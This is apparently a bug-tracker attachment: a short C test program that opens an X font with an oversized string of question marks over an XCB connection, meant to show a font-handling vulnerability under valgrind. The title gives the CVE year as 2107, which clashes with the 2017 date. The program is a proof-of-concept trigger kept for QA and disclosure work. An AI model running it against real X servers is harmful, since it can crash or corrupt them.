Attachment 9731 Details for Bug 21834 – Test file for valgrind to demonstrate the CVE-2107-13720 issue

Test file for valgrind to demonstrate the CVE-2107-13720 issue

xtest.c (text/plain), 876 bytes, created by Len Lawrence on 2017-10-13 22:08:17 CEST

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Creator: Len Lawrence

Created: 2017-10-13 22:08:17 CEST

Size: 876 bytes

patch

obsolete

// https://bugzilla.suse.com/attachment.cgi?id=737087

#include <stdio.h>
#include <xcb/xcb.h>

const char data[] = "????????????????????????????????????????????????????????????????"
                    "????????????????????????????????????????????????????????????????"
                    "????????????????????????????????????????????????????????????????"
                    "???????????????????????????????????????????????????????????????";

int main(int argc, char** argv) {
    xcb_connection_t* connection = xcb_connect(":1", 0);

    if (xcb_connection_has_error(connection)) {
        printf("Failed to connect to display!\n");
        return 1;
    }

    xcb_str_t str;
    xcb_set_font_path(connection, 1, &str);

    xcb_font_t fid = xcb_generate_id(connection);
    xcb_open_font(connection, fid, sizeof(data), data);

    xcb_flush(connection);

    return 0;
}

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Attachments on bug 21834: 9731